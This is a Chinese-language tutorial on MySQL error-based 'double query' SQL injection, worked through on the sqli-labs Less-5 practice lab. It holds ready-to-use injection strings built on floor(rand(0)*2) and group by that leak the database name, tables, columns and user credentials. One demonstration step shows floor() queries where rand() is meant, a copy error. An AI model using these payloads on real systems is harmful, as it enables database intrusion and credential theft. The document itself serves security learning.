溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

mysql get基于報(bào)錯(cuò)的盲注方法是什么

發(fā)布時(shí)間:2021-12-04 11:43:53 來源:億速云 閱讀:196 作者:iii 欄目:網(wǎng)絡(luò)管理

這篇文章主要講解了“mysql get基于報(bào)錯(cuò)的盲注方法是什么”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“mysql get基于報(bào)錯(cuò)的盲注方法是什么”吧!

報(bào)錯(cuò)注入

報(bào)錯(cuò)注入就是在注入過程中黑客根據(jù)錯(cuò)誤回顯進(jìn)行判斷。 形式上是兩個(gè)嵌套的查詢,即select...(select...),里面的select被稱為子查詢,他的執(zhí)行順序也是先執(zhí)行子查詢,然后再執(zhí)行行外面的select,雙注入主要涉及到一下sql函數(shù):

rand()隨機(jī)函數(shù),返回0~1之間的某個(gè)值
floor(a)取整函數(shù),返回小于等于a,且值最接近a的一個(gè)整數(shù)
count()聚合函數(shù)也稱作計(jì)數(shù)函數(shù),返回查詢對(duì)象的總數(shù)
group by clause分組語句,按照查詢結(jié)果分組
通過報(bào)錯(cuò)來顯示出具體的信息。
查詢的時(shí)候如果使用rand()的話,該值會(huì)被計(jì)算多次。在使用group by的時(shí)候,floor(rand(0)*2)會(huì)被執(zhí)行一次,如果虛表不存在記錄,插入虛表的時(shí)候會(huì)再被執(zhí)行一次。

less-5為例演示

首先使用報(bào)錯(cuò)注入:構(gòu)造語句

1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

顯示結(jié)果

mysql get基于報(bào)錯(cuò)的盲注方法是什么

  • 為什么會(huì)出現(xiàn)這樣的情況,因?yàn)楫?dāng)在一個(gè)聚合函數(shù),比如count函數(shù)后面如果使用分組語句就會(huì)把查詢的一部分以錯(cuò)誤的形式顯示出來。

  • 那么,對(duì)這個(gè)語句中的函數(shù)(也就是上面的4個(gè)函數(shù))進(jìn)一個(gè)一個(gè)學(xué)習(xí): 在本地連接數(shù)據(jù)庫,查詢測試一下concat()的用法。

輸入: select concat('qwe','abc');

mysql get基于報(bào)錯(cuò)的盲注方法是什么

看到將qwe和abc拼接在一起

然后測試一下rand()這個(gè)隨機(jī)函數(shù):

輸入語句:select floor(1.2343232);select floor(3.893);

mysql get基于報(bào)錯(cuò)的盲注方法是什么

一共輸入的三次,每次輸出的數(shù)都是隨機(jī),但是這些數(shù)都是大于0,小于1的數(shù)

然后測試一下floor()函數(shù)

輸入語句:select floor(1.2343232);select floor(3.893);

mysql get基于報(bào)錯(cuò)的盲注方法是什么

輸出的都是小于或者等于輸入的數(shù)

然后測試一下雙注入查詢的組合

輸入的語句:select floor(rand()*2);

mysql get基于報(bào)錯(cuò)的盲注方法是什么

分析一下,從里往外走,rand()*2永遠(yuǎn)不可能等于2,不可能小于0;所以floor取整就是1,或者就是0

在深入一下,測試:

select concat((select database()),floor(rand()*2));

mysql get基于報(bào)錯(cuò)的盲注方法是什么

看到concat將數(shù)據(jù)庫和后面的取整,合并在一起了。 同理,在less-5的第一個(gè)報(bào)錯(cuò)語句concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a

mysql get基于報(bào)錯(cuò)的盲注方法是什么

0x3a是:號(hào),所以就將他們拼接起來。

  • 如果在后面加上from emails表的話,那么返回的結(jié)果就是security0和security1的集,總共有多少條呢,那就要看表里面有多少列信息。

  • mysql get基于報(bào)錯(cuò)的盲注方法是什么

  • mysql get基于報(bào)錯(cuò)的盲注方法是什么

下面,加上group by語句。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

mysql get基于報(bào)錯(cuò)的盲注方法是什么

as a就是將查詢的concat((select database()), floor(rand()*2))名字另取a;然后用group by a進(jìn)行分組。這樣相同的security0和security1分別分成一組,也就是兩組,也是兩種結(jié)果。

然后我們加上聚合函數(shù)count(*)

select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;

mysql get基于報(bào)錯(cuò)的盲注方法是什么

同理,less-5第一報(bào)錯(cuò):

mysql get基于報(bào)錯(cuò)的盲注方法是什么

參考教程

1.爆出數(shù)據(jù)庫

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

頁面顯示:

mysql get基于報(bào)錯(cuò)的盲注方法是什么

2.爆出表

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

mysql get基于報(bào)錯(cuò)的盲注方法是什么

3.爆出列名

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a --+

mysql get基于報(bào)錯(cuò)的盲注方法是什么

4.獲取用戶信息

構(gòu)造語句:

1' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

感謝各位的閱讀,以上就是“mysql get基于報(bào)錯(cuò)的盲注方法是什么”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對(duì)mysql get基于報(bào)錯(cuò)的盲注方法是什么這一問題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是億速云,小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI